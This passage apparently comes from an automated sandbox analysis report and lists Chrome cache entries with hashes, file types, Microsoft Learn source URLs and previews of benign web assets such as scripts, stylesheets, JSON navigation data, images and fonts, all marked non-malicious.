.F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

Chrome Cache Entry: 100

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text
Category:	downloaded
Size (bytes):	1432
Entropy (8bit):	4.986131881931089
Encrypted:	false
SSDEEP:	24:TGAcSRrEV4YUmjiqIWD5bfD9yRSmkYR/stZLKvVqXRRlAfr6VXBAuU:Ti4IV4YUmjiqr9bfskAmZTXGfSXqh
MD5:	6B8763B76F400DC480450FD69072F215
SHA1:	6932907906AFCF8EAFA22154D8478106521BC9EE
SHA-256:	3FB84D357F0C9A66100570EDD62A04D0574C45E8A5209A3E6870FF22AF839DFC
SHA-512:	8A07EBB806A0BA8EF54B463BD6AF37C77A10C1FA38A57128FD90FCB2C16DF71CE697D4FE65C623E5C6054C5715975831C36861D5574F59DF28836D9BC2B0BC22
Malicious:	false
URL:	https://learn.microsoft.com/static/assets/0.4.029026183/global/deprecation.js
Preview:	// ES5 script for back compat with unsupported browsers..!(function () {..'use strict';..// Keep in sync with environment/browser.ts..var supportedBrowser =...typeof Blob === 'function' &&...typeof PerformanceObserver === 'function' &&...typeof Intl === 'object' &&...typeof MutationObserver === 'function' &&...typeof URLSearchParams === 'function' &&...typeof WebSocket === 'function' &&...typeof IntersectionObserver === 'function' &&...typeof queueMicrotask === 'function' &&...typeof TextEncoder === 'function' &&...typeof TextDecoder === 'function' &&...typeof customElements === 'object' &&...typeof HTMLDetailsElement === 'function' &&...typeof AbortController === 'function' &&...typeof AbortSignal === 'function' &&...'entries' in FormData.prototype &&...'toggleAttribute' in Element.prototype &&...'replaceChildren' in Element.prototype &&...// ES2019...'fromEntries' in Object &&...'flatMap' in Array.prototype &&...'trimEnd' in String.prototype &&...// ES2020...'allSettled' in Promise &

Chrome Cache Entry: 101

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (65536), with no line terminators
Category:	downloaded
Size (bytes):	464328
Entropy (8bit):	5.0747157240281755
Encrypted:	false
SSDEEP:	6144:XegPrbKCerH5dyUJ6Yh6BFPDxZYX04GK7M4:1KCerXyUh
MD5:	875E7F3672FEC41DDB5A2386D2331531
SHA1:	282979933E99BDE3A6342DC1EF93FBC51682F2C3
SHA-256:	F205B3CBA340ECB0B5D45E5DE6D385947CC4C21248707A90BFD5894E9B61F3C9
SHA-512:	67A3C1D8FF089E01C20962D96968DE43F3E8D49B474C396F08827EE891C0315693634E663D3148D7441B501EA6939A7D84A80B1E855B7C2A8BCB17E0013AFAD4
Malicious:	false
URL:	https://learn.microsoft.com/static/assets/0.4.029026183/styles/site-ltr.css
Preview:	.CodeMirror{height:300px;color:#000;direction:ltr;font-family:monospace}.CodeMirror-lines{padding:4px 0}.CodeMirror pre.CodeMirror-line,.CodeMirror pre.CodeMirror-line-like{padding:0 4px}.CodeMirror-scrollbar-filler,.CodeMirror-gutter-filler{background-color:#fff}.CodeMirror-gutters{white-space:nowrap;background-color:#f7f7f7;border-right:1px solid #ddd}.CodeMirror-linenumber{min-width:20px;text-align:right;color:#999;white-space:nowrap;padding:0 3px 0 5px}.CodeMirror-guttermarker{color:#000}.CodeMirror-guttermarker-subtle{color:#999}.CodeMirror-cursor{width:0;border-left:1px solid #000;border-right:none}.CodeMirror div.CodeMirror-secondarycursor{border-left:1px solid silver}.cm-fat-cursor .CodeMirror-cursor{width:auto;background:#7e7;border:0!important}.cm-fat-cursor div.CodeMirror-cursors{z-index:1}.cm-fat-cursor .CodeMirror-line::selection,.cm-fat-cursor .CodeMirror-line>span::selection,.cm-fat-cursor .CodeMirror-line>span>span::selection{background:0 0}.cm-fat-cursor{caret-color:#0

Chrome Cache Entry: 102

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (52717), with no line terminators
Category:	dropped
Size (bytes):	52717
Entropy (8bit):	5.462668685745912
Encrypted:	false
SSDEEP:	1536:tjspYRrxlhd0fq3agV3IcgPPPI3r7DAQHCloIB3Tj7xHw:tjZLCtxQ
MD5:	413FCC759CC19821B61B6941808B29B5
SHA1:	1AD23B8A202043539C20681B1B3E9F3BC5D55133
SHA-256:	DAF7759FEDD9AF6C4D7E374B0D056547AE7CB245EC24A1C4ACF02932F30DC536
SHA-512:	E9BF8A74FEF494990AAFD15A0F21E0398DC28B4939C8F9F8AA1F3FFBD18056C8D1AB282B081F5C56F0928C48E30E768F7E347929304B55547F9CA8C1AABD80B8
Malicious:	false
Preview:	var WcpConsent;!function(){var e={229:function(e){window,e.exports=function(e){var t={};function o(n){if(t[n])return t[n].exports;var r=t[n]={i:n,l:!1,exports:{}};return e[n].call(r.exports,r,r.exports,o),r.l=!0,r.exports}return o.m=e,o.c=t,o.d=function(e,t,n){o.o(e,t)\|\|Object.defineProperty(e,t,{enumerable:!0,get:n})},o.r=function(e){"undefined"!=typeof Symbol&&Symbol.toStringTag&&Object.defineProperty(e,Symbol.toStringTag,{value:"Module"}),Object.defineProperty(e,"__esModule",{value:!0})},o.t=function(e,t){if(1&t&&(e=o(e)),8&t)return e;if(4&t&&"object"==typeof e&&e&&e.__esModule)return e;var n=Object.create(null);if(o.r(n),Object.defineProperty(n,"default",{enumerable:!0,value:e}),2&t&&"string"!=typeof e)for(var r in e)o.d(n,r,function(t){return e[t]}.bind(null,r));return n},o.n=function(e){var t=e&&e.__esModule?function(){return e.default}:function(){return e};return o.d(t,"a",t),t},o.o=function(e,t){return Object.prototype.hasOwnProperty.call(e,t)},o.p="",o(o.s=3)}([function(e,t,o)

Chrome Cache Entry: 103

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (52717), with no line terminators
Category:	downloaded
Size (bytes):	52717
Entropy (8bit):	5.462668685745912
Encrypted:	false
SSDEEP:	1536:tjspYRrxlhd0fq3agV3IcgPPPI3r7DAQHCloIB3Tj7xHw:tjZLCtxQ
MD5:	413FCC759CC19821B61B6941808B29B5
SHA1:	1AD23B8A202043539C20681B1B3E9F3BC5D55133
SHA-256:	DAF7759FEDD9AF6C4D7E374B0D056547AE7CB245EC24A1C4ACF02932F30DC536
SHA-512:	E9BF8A74FEF494990AAFD15A0F21E0398DC28B4939C8F9F8AA1F3FFBD18056C8D1AB282B081F5C56F0928C48E30E768F7E347929304B55547F9CA8C1AABD80B8
Malicious:	false
URL:	https://wcpstatic.microsoft.com/mscc/lib/v2/wcp-consent.js
Preview:	var WcpConsent;!function(){var e={229:function(e){window,e.exports=function(e){var t={};function o(n){if(t[n])return t[n].exports;var r=t[n]={i:n,l:!1,exports:{}};return e[n].call(r.exports,r,r.exports,o),r.l=!0,r.exports}return o.m=e,o.c=t,o.d=function(e,t,n){o.o(e,t)\|\|Object.defineProperty(e,t,{enumerable:!0,get:n})},o.r=function(e){"undefined"!=typeof Symbol&&Symbol.toStringTag&&Object.defineProperty(e,Symbol.toStringTag,{value:"Module"}),Object.defineProperty(e,"__esModule",{value:!0})},o.t=function(e,t){if(1&t&&(e=o(e)),8&t)return e;if(4&t&&"object"==typeof e&&e&&e.__esModule)return e;var n=Object.create(null);if(o.r(n),Object.defineProperty(n,"default",{enumerable:!0,value:e}),2&t&&"string"!=typeof e)for(var r in e)o.d(n,r,function(t){return e[t]}.bind(null,r));return n},o.n=function(e){var t=e&&e.__esModule?function(){return e.default}:function(){return e};return o.d(t,"a",t),t},o.o=function(e,t){return Object.prototype.hasOwnProperty.call(e,t)},o.p="",o(o.s=3)}([function(e,t,o)

Chrome Cache Entry: 104

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	exported SGML document, ASCII text, with very long lines (65536), with no line terminators
Category:	downloaded
Size (bytes):	1173007
Entropy (8bit):	5.503893944397598
Encrypted:	false
SSDEEP:	24576:VMga+4IVzOjS1Jho1WXQFjTEr39/jHXzT:VMcVzOjS1Jho1WXQar39/bXzT
MD5:	2E00D51C98DBB338E81054F240E1DEB2
SHA1:	D33BAC6B041064AE4330DCC2D958EBE4C28EBE58
SHA-256:	300480069078B5892D2363A2B65E2DFBBF30FE5C80F83EDBFECF4610FD093862
SHA-512:	B6268D980CE9CB729C82DBA22F04FD592952B2A1AAB43079CA5330C68A86E72B0D232CE4070DB893A5054EE5C68325C92C9F1A33F868D61EBB35129E74FC7EF9
Malicious:	false
URL:	https://learn.microsoft.com/static/third-party/MathJax/3.2.2/tex-mml-chtml.js
Preview:	(function(){"use strict";var __webpack_modules__={351:function(t,e,r){var n,o=this&&this.__extends\|\|(n=function(t,e){return n=Object.setPrototypeOf\|\|{__proto__:[]}instanceof Array&&function(t,e){t.__proto__=e}\|\|function(t,e){for(var r in e)Object.prototype.hasOwnProperty.call(e,r)&&(t[r]=e[r])},n(t,e)},function(t,e){if("function"!=typeof e&&null!==e)throw new TypeError("Class extends value "+String(e)+" is not a constructor or null");function r(){this.constructor=t}n(t,e),t.prototype=null===e?Object.create(e):(r.prototype=e.prototype,new r)}),i=this&&this.__assign\|\|function(){return i=Object.assign\|\|function(t){for(var e,r=1,n=arguments.length;r<n;r++)for(var o in e=arguments[r])Object.prototype.hasOwnProperty.call(e,o)&&(t[o]=e[o]);return t},i.apply(this,arguments)},s=this&&this.__read\|\|function(t,e){var r="function"==typeof Symbol&&t[Symbol.iterator];if(!r)return t;var n,o,i=r.call(t),s=[];try{for(;(void 0===e\|\|e-- >0)&&!(n=i.next()).done;)s.push(n.value)}catch(t){o={error:t}}finally

Chrome Cache Entry: 105

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	HTML document, ASCII text, with very long lines (639), with CRLF, LF line terminators
Category:	downloaded
Size (bytes):	47062
Entropy (8bit):	5.016149588804727
Encrypted:	false
SSDEEP:	768:haAq16LIElO6L6x2bTI1ln4a1T0MCFnFMBVeZrdLg:hTKGLlO6eAbTIr4audZqBkZRLg
MD5:	1FF4CE3C1DB69A5146B03AD8BE62F5EB
SHA1:	5D177F6D11FCFF2BD62E61983383BB39D9F045E4
SHA-256:	222F320F99EF710DCE98F125314F30DAC99CF408525D86F185B317A878D48A5C
SHA-512:	36D198120D83AA9BDC2E74F80B99E2219EE4F03A8DD93A1E58A9E30BD48E829E5220A9F5FE6FC29B3810ED85005A8DCD0EAD04EE06DCCD0A15CD6D080E88641D
Malicious:	false
URL:	https://learn.microsoft.com/en-us/dotnet/framework/install/application-not-started?version=(null)&processName=TdloJt4gY3.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0
Preview:	<!DOCTYPE html><html..class="hasSidebar hasPageActions hasBreadcrumb conceptual has-default-focus theme-light"..lang="en-us"..dir="ltr"..data-authenticated="false"..data-auth-status-determined="false"..data-target="docs"..x-ms-format-detection="none">..<head>..<meta charset="utf-8" />..<meta name="viewport" content="width=device-width, initial-scale=1.0" />..<meta property="og:title" content="Fix .NET Framework 'This application could not be started' - .NET Framework" />..<meta property="og:type" content="website" />..<meta property="og:url" content="https://learn.microsoft.com/en-us/dotnet/framework/install/application-not-started" /><meta property="og:description" content="Learn what to do if you see a 'This application could not be started' dialog box when running a .NET Framework application." /><meta property="og:image" content="https://learn.microsoft.com/dotnet/media/dotnet-logo.png" />...<meta property="og:image:alt" content="Fix .NET Framework 'This application could not be st

Chrome Cache Entry: 106

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (46884)
Category:	dropped
Size (bytes):	1817143
Entropy (8bit):	5.501007973622959
Encrypted:	false
SSDEEP:	24576:aLX8PHFluFxBSB1DkCXWjfz8gEPPXL/tie:auHFluFxBSB1DkCXWjfz7EPPXztH
MD5:	F57E274AE8E8889C7516D3E53E3EB026
SHA1:	F8D21465C0C19051474BE6A4A681FA0B0D3FCC0C
SHA-256:	2A2198DDBDAEDD1E968C0A1A45F800765AAE703675E419E46F6E51E3E9729D01
SHA-512:	9A9B42F70E09D821B799B92CB6AC981236FCF190F0A467CA7F7D382E3BCA1BC1D71673D37CD7426499D24DFBC0B7A6D10676C0E3FB2B0292249A5ABAB78F23F4
Malicious:	false
Preview:	"use strict";(()=>{var hve=Object.create;var _T=Object.defineProperty;var E2=Object.getOwnPropertyDescriptor;var bve=Object.getOwnPropertyNames;var _ve=Object.getPrototypeOf,vve=Object.prototype.hasOwnProperty;var yve=(e,t,o)=>t in e?_T(e,t,{enumerable:!0,configurable:!0,writable:!0,value:o}):e[t]=o;var Ie=(e,t)=>()=>(t\|\|e((t={exports:{}}).exports,t),t.exports);var xve=(e,t,o,n)=>{if(t&&typeof t=="object"\|\|typeof t=="function")for(let r of bve(t))!vve.call(e,r)&&r!==o&&_T(e,r,{get:()=>t[r],enumerable:!(n=E2(t,r))\|\|n.enumerable});return e};var Ya=(e,t,o)=>(o=e!=null?hve(_ve(e)):{},xve(t\|\|!e\|\|!e.__esModule?_T(o,"default",{value:e,enumerable:!0}):o,e));var U=(e,t,o,n)=>{for(var r=n>1?void 0:n?E2(t,o):t,s=e.length-1,i;s>=0;s--)(i=e[s])&&(r=(n?i(t,o,r):i(r))\|\|r);return n&&r&&_T(t,o,r),r};var ji=(e,t,o)=>(yve(e,typeof t!="symbol"?t+"":t,o),o),yR=(e,t,o)=>{if(!t.has(e))throw TypeError("Cannot "+o)};var wt=(e,t,o)=>(yR(e,t,"read from private field"),o?o.call(e):t.get(e)),Bo=(e,t,o)=>{if(t.has(

Chrome Cache Entry: 107

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 533 x 478, 8-bit/color RGBA, non-interlaced
Category:	downloaded
Size (bytes):	13339
Entropy (8bit):	7.683569563478597
Encrypted:	false
SSDEEP:	192:zjSKAj04ndWb6OuzZjk6TsEaJS0/bJur2Gz4Imm3MhE4NfM:zutfW69XTspsG3G0TfhEQM
MD5:	512625CF8F40021445D74253DC7C28C0
SHA1:	F6B27CE0F7D4E48E34FDDCA8A96337F07CFFE730
SHA-256:	1D4DCEE8511D5371FEC911660D6049782E12901C662B409A5C675772E9B87369
SHA-512:	AE02319D03884D758A86C286B6F593BDFFD067885D56D82EEB8215FDCB41637C7BB9109039E7FBC93AD246D030C368FB285B3161976ED485ABC5A8DF6DF9A38C
Malicious:	false
URL:	https://learn.microsoft.com/en-us/dotnet/framework/install/media/application-not-started/repair-tool-changes-complete.png
Preview:	.PNG........IHDR.............,#......sRGB.........gAMA......a.....pHYs..........o.d..3.IDATx^..].5Y...C.$..tH .NF.I&A0..;.r.fF.#..!7...'..3.0.../..s....."!.y...~....4....om.g.3.BTP......j..g.zVU....u...a.Z..j..U....y......$.....I...pAR...\.T....$.....I...pAR...\.T..p....5O>.d...}Rg.$....@.4....fb1.o.I...7..<.P.....n0.D.P.....n..L.P.....n8.......P.~......n(+..'. ......J.vM,H......W...h.T....$.....I...pAR...\.T....$.....I...pAR...\.T....$.....I...pAR...\.T....$......'....w....g....\|../5_.......T...~.y.'.'.\|...W..[...C.)......\|.[.[WK...w...w..y.{..\|.#.n>...5....5...h>..O6O>.Xx....o.B........g?.........~....?o...w.......}..-_k^........l....\|.D.TH.....o..B'..(.W-%...?...W.......E?h..........~.......?...~,..}...o^...5ox..bI.mo{[s.}.5.<.L.......<......Y.W......K..Q._...Iu...2...e)d]4.}Y..............k.%k..s.'..L(..o4...g...z............N.X.....W.O.^.4.....7......i~._7..~,bI......3.0RRq..\|.Mk..?.{.K_...t.........SYG.W^#).N^..._W...(.8.7.....W....7...m

Chrome Cache Entry: 108

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows icon resource - 6 icons, -128x-128, 16 colors, 72x72, 16 colors
Category:	downloaded
Size (bytes):	17174
Entropy (8bit):	2.9129715116732746
Encrypted:	false
SSDEEP:	24:QSNTmTFxg4lyyyyyyyyyyyyyio7eeeeeeeeekzgsLsLsLsLsLsQZp:nfgyyyyyyyyyyyyynzQQQQQO
MD5:	12E3DAC858061D088023B2BD48E2FA96
SHA1:	E08CE1A144ECEAE0C3C2EA7A9D6FBC5658F24CE5
SHA-256:	90CDAF487716184E4034000935C605D1633926D348116D198F355A98B8C6CD21
SHA-512:	C5030C55A855E7A9E20E22F4C70BF1E0F3C558A9B7D501CFAB6992AC2656AE5E41B050CCAC541EFA55F9603E0D349B247EB4912EE169D44044271789C719CD01
Malicious:	false
URL:	https://learn.microsoft.com/favicon.ico
Preview:	..............h(..f...HH...........(..00......h....6.. ...........=...............@..........(....A..(....................(....................................."P.........................................."""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333""""""""""""""""""""""""""

Chrome Cache Entry: 109

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	5644
Entropy (8bit):	4.785769732002188
Encrypted:	false
SSDEEP:	96:ogVOjPW7cI3aDNjExAjfWQpL0dpwmWMv7AD8RevyvRJNjyZPtJ27RlhiewZjMeZf:og5cUaDNjESLWQN0dpwm9+6DlUu7lYjX
MD5:	B5885C991E30238110973653F2408300
SHA1:	39B0A79D951F8254E21821134E047C76F57AD2A8
SHA-256:	085BF5AE32E6F7F1299CA79248B0CB67EBD31566728A69F4466E1659C004732E
SHA-512:	6BEC209D933C7A1065047637F550B7A36809D835938C04851A3B09DF644BD3EC85A2CE30F73FCFB709FE7AF3453799B2EB76702D0AB2BE067CD07D2EC03537C0
Malicious:	false
Preview:	{"brandLink":{"biName":"learn","displayName":"Learn","href":"/"},"featuredContent":[{"biName":"1-microsoft-learn-for-organizations","description":"Access curated resources to upskill your team and close skills gaps.","href":"/training/organizations/","supertitle":"Microsoft Learn for Organizations","title":"Boost your team\u0027s technical skills"}],"metadata":{"git_commit_id":"dab49ca79cb372010aeaec5e99463f6cec8df000"},"navCategories":[{"biName":"1-discover","panel":{"panelContent":[{"biName":"1-documentation","componentType":"header-panel-card","description":"In-depth articles on Microsoft developer tools and technologies","href":"/docs/","title":"Documentation"},{"biName":"2-training","componentType":"header-panel-card","description":"Personalized learning paths and courses","href":"/training/","title":"Training"},{"biName":"3-credentials","componentType":"header-panel-card","description":"Globally recognized, industry-endorsed credentials","href":"/credentials/","title":"Credential

Chrome Cache Entry: 110

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows icon resource - 6 icons, -128x-128, 16 colors, 72x72, 16 colors
Category:	dropped
Size (bytes):	17174
Entropy (8bit):	2.9129715116732746
Encrypted:	false
SSDEEP:	24:QSNTmTFxg4lyyyyyyyyyyyyyio7eeeeeeeeekzgsLsLsLsLsLsQZp:nfgyyyyyyyyyyyyynzQQQQQO
MD5:	12E3DAC858061D088023B2BD48E2FA96
SHA1:	E08CE1A144ECEAE0C3C2EA7A9D6FBC5658F24CE5
SHA-256:	90CDAF487716184E4034000935C605D1633926D348116D198F355A98B8C6CD21
SHA-512:	C5030C55A855E7A9E20E22F4C70BF1E0F3C558A9B7D501CFAB6992AC2656AE5E41B050CCAC541EFA55F9603E0D349B247EB4912EE169D44044271789C719CD01
Malicious:	false
Preview:	..............h(..f...HH...........(..00......h....6.. ...........=...............@..........(....A..(....................(....................................."P.........................................."""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333""""""""""""""""""""""""""

Chrome Cache Entry: 111

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 658 x 480, 8-bit/color RGBA, non-interlaced
Category:	downloaded
Size (bytes):	13842
Entropy (8bit):	7.802399161550213
Encrypted:	false
SSDEEP:	192:NLNf+jBQsDHg7av3EEondO8PuRu2mIYXEIiDm42NpsHFMHfgnJ4K2DVwv:NLt+1jDmY+ndXwjLUpiDwpzfwoDVk
MD5:	F6EC97C43480D41695065AD55A97B382
SHA1:	D9C3D0895A5ED1A3951B8774B519B8217F0A54C5
SHA-256:	07A599FAB1E66BABC430E5FED3029F25FF3F4EA2DD0EC8968FFBA71EF1872F68
SHA-512:	22462763178409D60609761A2AF734F97B35B9A818EC1FD9046AFAB489AAD83CE34896EE8586EFE402EA7739ECF088BC2DB5C1C8E4FB39E6A0FC5B3ADC6B4A9B
Malicious:	false
URL:	https://learn.microsoft.com/en-us/dotnet/framework/install/media/application-not-started/install-3-5.png
Preview:	.PNG........IHDR................1....sRGB.........gAMA......a.....pHYs..........o.d..5.IDATx^..[.,.]...../<.!.B(/y..).F\r...!(.H..a ..B.~..A..KXA.M...6..8...!1....l./.X.1....2.`.y"l..R...V.....{...}._gWW.Z.VUw.N...U..P@..... ..@.A...".$..E.I.........$..("H..PD..... ..p....U.}.{.....l..A.....A........s.......D.0...@....E..x........L. /.".A.....$...Y."...%.I..["../.&.I..[`.0..IA.........p4.I.........$..("H..PD..... ..@.A...".$..E.I.........$..("H..PD..... ..@.A...".$..E.>H...O.................?.~.......].7.....a?....(H....m.G..G..a.P..?yo......f?...o. .B.....mo{[....:9<].....7.....a.....S..Cd.5,.R....#....>......._g.....Wo\|.....z.g.........w.T...]x.>.....y(.........6....[..px...U....~.~hu...}H.......~.L... ....r...iY.$..Id..Ax"../....._..U....OTo\|.Mh.km..A.k..k....n.C`\|._\=...o...a.e.. ...&.A2..k.. ....X.+...C..P....y..>.{._..(H....8(.?...w.}M.........:s_!.m.........BY..T..z.5{.W.~..6.....F....bq....m.....?.......v....o..o...ki...iX.$......\]V...V...

Chrome Cache Entry: 112

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (33273), with no line terminators
Category:	dropped
Size (bytes):	33273
Entropy (8bit):	4.918756013698695
Encrypted:	false
SSDEEP:	384:FnvJOb4OLIch+KCnMet7NPXlJl+HjZjBTRdE0zIwHdZ4vNNpUjV8din4E9hLUukj:5hOEO8chkMet7pCjBfcHkWOzUukj
MD5:	86E84C732A96BF9CF18C99B48DB90B6D
SHA1:	6A8C212067CB9FE5B8325AE1E89FCA3E7FCF20FA
SHA-256:	B54678C5BFB00DC1AFBF2E52C56F8E10173975C25FB19062EFE5DC86F1B7D769
SHA-512:	AD91A78371074B5BB2105A9AE69664371C235B7C82DFD25C9ED17F435E92018F2A0DD42203F403D7A75DF4FC63966017519F118B2B22F0DE7656B2B155636AA2
Malicious:	false
Preview:	{"items":[{"href":"./","toc_title":".NET Framework documentation"},{"href":"get-started/overview","toc_title":"Overview of .NET Framework"},{"children":[{"href":"get-started/","toc_title":"Overview"},{"href":"get-started/out-of-band-releases","toc_title":"Out-of-band releases"},{"href":"get-started/system-requirements","toc_title":"System requirements"}],"toc_title":"Get started"},{"children":[{"href":"install/","toc_title":"Overview"},{"href":"install/guide-for-developers","toc_title":"For developers"},{"children":[{"href":"install/on-windows-11","toc_title":"Windows 11"},{"href":"install/on-windows-10","toc_title":"Windows 10 and Windows Server 2016"},{"href":"install/on-windows-8-1","toc_title":"Windows 8.1 and Windows Server 2012 R2"},{"href":"install/on-windows-8","toc_title":"Windows 8 and Windows Server 2012"},{"href":"install/on-server-2022","toc_title":"Windows Server 2022"},{"href":"install/on-server-2019","toc_title":"Windows Server 2019"}],"toc_title":"By OS version"},{"hre

Chrome Cache Entry: 113

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	downloaded
Size (bytes):	5644
Entropy (8bit):	4.785769732002188
Encrypted:	false
SSDEEP:	96:ogVOjPW7cI3aDNjExAjfWQpL0dpwmWMv7AD8RevyvRJNjyZPtJ27RlhiewZjMeZf:og5cUaDNjESLWQN0dpwm9+6DlUu7lYjX
MD5:	B5885C991E30238110973653F2408300
SHA1:	39B0A79D951F8254E21821134E047C76F57AD2A8
SHA-256:	085BF5AE32E6F7F1299CA79248B0CB67EBD31566728A69F4466E1659C004732E
SHA-512:	6BEC209D933C7A1065047637F550B7A36809D835938C04851A3B09DF644BD3EC85A2CE30F73FCFB709FE7AF3453799B2EB76702D0AB2BE067CD07D2EC03537C0
Malicious:	false
URL:	https://learn.microsoft.com/en-us/content-nav/site-header/site-header.json?
Preview:	{"brandLink":{"biName":"learn","displayName":"Learn","href":"/"},"featuredContent":[{"biName":"1-microsoft-learn-for-organizations","description":"Access curated resources to upskill your team and close skills gaps.","href":"/training/organizations/","supertitle":"Microsoft Learn for Organizations","title":"Boost your team\u0027s technical skills"}],"metadata":{"git_commit_id":"dab49ca79cb372010aeaec5e99463f6cec8df000"},"navCategories":[{"biName":"1-discover","panel":{"panelContent":[{"biName":"1-documentation","componentType":"header-panel-card","description":"In-depth articles on Microsoft developer tools and technologies","href":"/docs/","title":"Documentation"},{"biName":"2-training","componentType":"header-panel-card","description":"Personalized learning paths and courses","href":"/training/","title":"Training"},{"biName":"3-credentials","componentType":"header-panel-card","description":"Globally recognized, industry-endorsed credentials","href":"/credentials/","title":"Credential

Chrome Cache Entry: 114

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Web Open Font Format (Version 2), TrueType, length 19696, version 1.0
Category:	downloaded
Size (bytes):	19696
Entropy (8bit):	7.9898910353479335
Encrypted:	false
SSDEEP:	384:37wfQhsuDSP36Elj0oScS8w3F1ZTt5JwtRGsh1SJR3YL0BeojRs8E:37Cms69owH3FPutReFYL+eods8E
MD5:	4D0BFEA9EBDA0657CEE433600ED087B6
SHA1:	F13C690B170D5BA6BE45DEDC576776CA79718D98
SHA-256:	67E7D8E61B9984289B6F3F476BBEB6CEB955BEC823243263CF1EE57D7DB7AE9A
SHA-512:	9136ADEC32F1D29A72A486B4604309AA8F9611663FA1E8D49079B67260B2B09CEFDC3852CF5C08CA9F5D8EA718A16DBD8D8120AC3164B0D1519D8EF8A19E4EA5
Malicious:	false
URL:	https://learn.microsoft.com/static/assets/0.4.029026183/styles/docons.6a251ae.34a85e0c.woff2
Preview:	wOF2......L........`..L..........................T.V..@........6.$........ ..y.......d^..Awp(......<.1..fE.......I......z-.."YTZ.p.eMd.#..7.qY..Z.!..V...!......r...Z.;b........J....X..;.^...>UQ%U..CkT.....zKG.!\8%..>.b.4o4.t..........3..C..?u....E.S$.:.....mfZ......... .Q...].y..@....m.tC.C6. ......37..,V...F.a...A.. .PQ".A...B...p...q..!QA.N..m.......(..........gv..L...5M&._..+@.U..k.....CU..@...._.9q{....B..C.dB.F.a......J_Jo..M..oR....m......r...U0...y!.@-.h7...z....e.....J+...-{.s..1...^...zM[~....Fy.';.V...=.%......"..H..w.9L..$.{d.j&..... K...P`.$.g....;.0..........T.v....j.0Ht..<. ...<\......Ol.\|_U.+rmW..JK..".e<C ...q.?...B..l..Ni.....H....D..n@.......=c.f3.7........t...Z...}{....S;..KU.Ho.`....._?m....y...32l^.(..r..........Z...{U....W(......\|.q..P.`,.YQ....-,c...g*F..=....."M.......sq....-....w(.e.K........^2e.3&.\|,..4.TO..D].........W..W%j.._...nS.X.gE..3;2..:...Y..4j.-....c0A...U...p......d.M..6.L..b....O:[['wN.\|49.......]

Chrome Cache Entry: 115

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JPEG image data, JFIF standard 1.01, aspect ratio, density 1x1, segment length 16, baseline, precision 8, 1528x402, components 3
Category:	dropped
Size (bytes):	64291
Entropy (8bit):	7.964191793580486
Encrypted:	false
SSDEEP:	1536:NHnitWEy8ugr5KeKvJx4FqzmYyIf52YHcd/HpQxhSoywkY8+N4U4Bv:NHitHyJTeysFqiYyIfEYHchQWoywkY8v
MD5:	8CCB0248B7F2ABEEAD74C057232DF42A
SHA1:	C02BD92FEA2DF7ED12C8013B161670B39E1EC52F
SHA-256:	0A9FD0C7F32EABBB2834854C655B958EC72A321F3C1CF50035DD87816591CDCC
SHA-512:	6D6E3C858886C9D6186AD13B94DBC2D67918AA477FB7D70A7140223FAB435CF109537C51CA7F4B2A0DB00EEAD806BBE8C6B29B947B0BE7044358D2823F5057CE
Malicious:	false
